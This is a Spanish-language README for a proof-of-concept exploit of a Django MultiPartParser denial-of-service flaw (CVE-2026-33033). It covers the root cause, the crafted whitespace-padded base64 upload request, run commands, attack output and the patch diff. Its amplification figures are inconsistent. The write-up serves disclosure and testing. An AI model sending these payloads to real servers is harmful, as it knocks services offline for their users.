
Prueba de concepto de exploit para CVE-2026-33033, una vulnerabilidad de denegación de servicio en MultiPartParser de Django mediante amplificación de CPU por espacios en blanco en base64, que demuestra una amplificación de ~800x con una única petición HTTP.
Denegación de servicio mediante amplificación de CPU por espacios en blanco en base64 en MultiPartParser de Django
Una única solicitud HTTP de 2,5 MB puede mantener ocupado un worker de Django durante ~5 segundos, logrando una amplificación de CPU de ~2.100x en comparación con una solicitud normal del mismo tamaño. No se requiere autenticación.
Esta vulnerabilidad se corrigió en el comunicado de seguridad Django 6.0.4 (7 de abril de 2026), junto con backports a todas las ramas compatibles.
| Rama | Afectada | Corregida |
|---|
| Django 6.0.x | <= 6.0.3 | 6.0.4 |
| Django 5.2.x | <= 5.2.11 | 5.2.12 |
| Django 5.1.x | <= 5.1.x | 5.1.16 |
| Django 5.0.x | <= 5.0.14 | 5.0.15 |
| Django 4.2.x | <= 4.2.28 | 4.2.29 |
CVE-2026-33033: Posible vulnerabilidad de denegación de servicio en
MultiPartParsermediante carga de archivos codificados en base64 (Gravedad: Moderada)Al usar
django.http.multipartparser.MultiPartParser, las cargas multipart conContent-Transfer-Encoding: base64que incluyan espacios en blanco excesivos pueden provocar copias de memoria repetidas, degradando potencialmente el rendimiento.
| CVE | Gravedad | Descripción |
|---|---|---|
| CVE-2026-3902 | Baja | Suplantación de cabeceras ASGI mediante confusión de guion bajo/guion |
| CVE-2026-4277 | Baja | Abuso de privilegios en GenericInlineModelAdmin |
| CVE-2026-4292 | Baja | Abuso de privilegios en ModelAdmin.list_editable |
| CVE-2026-33034 | Baja | Omisión del límite de memoria de subida ASGI mediante falta de Content-Length |
MultiPartParser de Django tiene una ruta de código especial para manejar partes de archivos con Content-Transfer-Encoding: base64. Después de eliminar los espacios en blanco de cada fragmento, si el resultado no está alineado a un múltiplo de 4 bytes, un bucle while llama a field_stream.read(1) para obtener bytes adicionales de uno en uno.
Cuando el cuerpo del archivo es casi en su totalidad espacios en blanco, cada byte obtenido se reduce a nada, por lo que el bucle continúa — llamando a read(1) una vez por cada byte de espacio en blanco. La idea clave es que cada read(1) es mucho más costoso de lo que parece:
Capa 1: El bucle de alineación base64 llama a read(1) por cada byte de espacio en blanco
|
Capa 2: LazyStream.read(1) obtiene el resto completo (~64 KB), corta 1 byte,
devuelve ~64 KB - 1 --> copia de bytes O(C) por llamada
|
Capa 3: unget() hace self._leftover = bytes + self._leftover
creando un nuevo objeto bytes cada vez --> memcpy de ~C bytes
Por cada fragmento de 64 KB, el trabajo de copia forma una serie aritmética:
Total = (C-1) + (C-2) + ... + 1 = C(C-1)/2 ~ 2.150 millones de operaciones de bytes
Para una entrada de 2,5 MB (~40 fragmentos): ~86 mil millones de bytes de trabajo memcpy a partir de una única solicitud HTTP.
Django incluye _update_unget_history() que lanza SuspiciousMultipartForm si el mismo recuento de bytes se devuelve 40+ veces en 50 operaciones. Sin embargo, en este ataque los tamaños de unget son monótonamente decrecientes (65535, 65534, 65533, ...), por lo que cada tamaño es único y la comprobación nunca se activa.
El middleware CSRF accede a request.POST antes de que se ejecute cualquier vista, por lo que incluso los endpoints que devuelven 403 incurren en el costo completo del análisis.
CVE-2026-33033-PoC/
├── README.md # Este archivo
├── LICENSE
├── requirements.txt # Dependencias de Python
├── exploit.py # Script de explotación
└── victim/ # Servidor Django vulnerable
├── manage.py
├── uwsgi.ini # Configuración de despliegue uWSGI
└── victim/
├── __init__.py
├── settings.py # Valores predeterminados de Django (sin configuración especial)
├── urls.py # Endpoints /upload y /health
└── wsgi.py
git clone https://github.com/ch4n3-yoon/CVE-2026-33033-PoC.git
cd CVE-2026-33033-PoC
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
Opción A: Servidor de desarrollo de Django (más rápido)
cd victim
python manage.py runserver 0.0.0.0:8000
Opción B: uWSGI (más realista — usa 4 workers)
cd victim
uwsgi --ini uwsgi.ini
En una terminal separada:
source venv/bin/activate
python exploit.py --target http://127.0.0.1:8000/upload
Opciones:
| Flag | Predeterminado | Descripción |
|---|---|---|
--target | http://127.0.0.1:8000/upload | Endpoint de subida objetivo |
--size | 2621440 (2,5 MB) | Tamaño del payload en bytes |
--rounds | 3 | Número de rondas de ataque |
============================================================
CVE-2026-33033 PoC
Denegación de servicio mediante amplificación de CPU por
espacios en blanco en base64 en Django MultiPartParser
============================================================
Objetivo: http://127.0.0.1:8000/upload
Tamaño del payload: 2.621.440 bytes (2,5 MB)
Rondas: 3
[*] Comprobando estado del servidor...
[+] El servidor está activo.
------------------------------------------------------------
[*] Fase 1: Enviando solicitud BENIGNA (datos base64 normales)
------------------------------------------------------------
Estado: 200
Tiempo: 5,55 ms
------------------------------------------------------------
[*] Fase 2: Enviando solicitudes MALICIOSAS (base64 + espacios en blanco)
------------------------------------------------------------
Ronda 1/3:
Estado: 200
Tiempo: 4571,12 ms
...
============================================================
RESULTADOS
============================================================
Solicitud benigna: 5,55 ms
Promedio de ataque: 4571,12 ms (en 3 rondas)
Amplificación: 823x
[!] VULNERABLE: El tiempo promedio de ataque supera 1 segundo.
Una única solicitud de 2,5 MB mantiene ocupado un worker durante ~4,6 s.
Con 4 workers, solo 4 solicitudes concurrentes pueden provocar DoS al servidor.
El exploit construye un cuerpo POST multipart/form-data con una única parte de archivo:
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----CVE2026-33033
Content-Length: 2621552
------CVE2026-33033
Content-Disposition: form-data; name="file"; filename="poc.bin"
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
AAA<2.621.433 espacios>A
------CVE2026-33033--
AAA inicial hace que stripped_chunk = b"AAA" (3 bytes), por lo que remaining = 3 % 4 = 3.field_stream.read(1) para obtener 1 byte más para la alineación.b"".join(b" ".split()) == b""), manteniendo remaining = 3.LazyStream.read(1) copia internamente ~64 KB mediante el mecanismo unget.django/http/multipartparser.py, líneas 302-325 (Django 5.0.x):
for chunk in field_stream:
if transfer_encoding == "base64":
stripped_chunk = b"".join(chunk.split())
remaining = len(stripped_chunk) % 4
while remaining != 0:
over_chunk = field_stream.read(4 - remaining) # <-- read(1)
if not over_chunk:
break
stripped_chunk += b"".join(over_chunk.split()) # se reduce a vacío
remaining = len(stripped_chunk) % 4 # permanece en 3
La corrección (aplicada en Django 6.0.4 / 5.2.12 / 5.1.16 / 5.0.15 / 4.2.29) reemplaza el bucle read(1) por byte con un read(self._chunk_size) masivo:
- stripped_chunk = b"".join(chunk.split())
+ stripped_parts = [b"".join(chunk.split())]
+ stripped_length = len(stripped_parts[0])
- remaining = len(stripped_chunk) % 4
- while remaining != 0:
- over_chunk = field_stream.read(4 - remaining)
+ while stripped_length % 4 != 0:
+ over_chunk = field_stream.read(self._chunk_size)
if not over_chunk:
break
- stripped_chunk += b"".join(over_chunk.split())
- remaining = len(stripped_chunk) % 4
+ over_stripped = b"".join(over_chunk.split())
+ stripped_parts.append(over_stripped)
+ stripped_length += len(over_stripped)
+
+ stripped_chunk = b"".join(stripped_parts)
Cambios clave:
read(4 - remaining) → read(self._chunk_size) — lee 64 KB a la vez en lugar de 1-3 bytes, reduciendo las llamadas de lectura de ~2,5 millones a ~40.stripped_chunk += ... → stripped_parts.append(...) + b"".join() final — evita la posible concatenación cuadrática de bytes.len(stripped_chunk) % 4 → contador stripped_length — evita el recálculo redundante de longitud.Esta prueba de concepto se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. Úsala de forma responsable y solo contra sistemas que poseas o para los que tengas permiso explícito de prueba.
Apache License 2.0 — consulta LICENSE.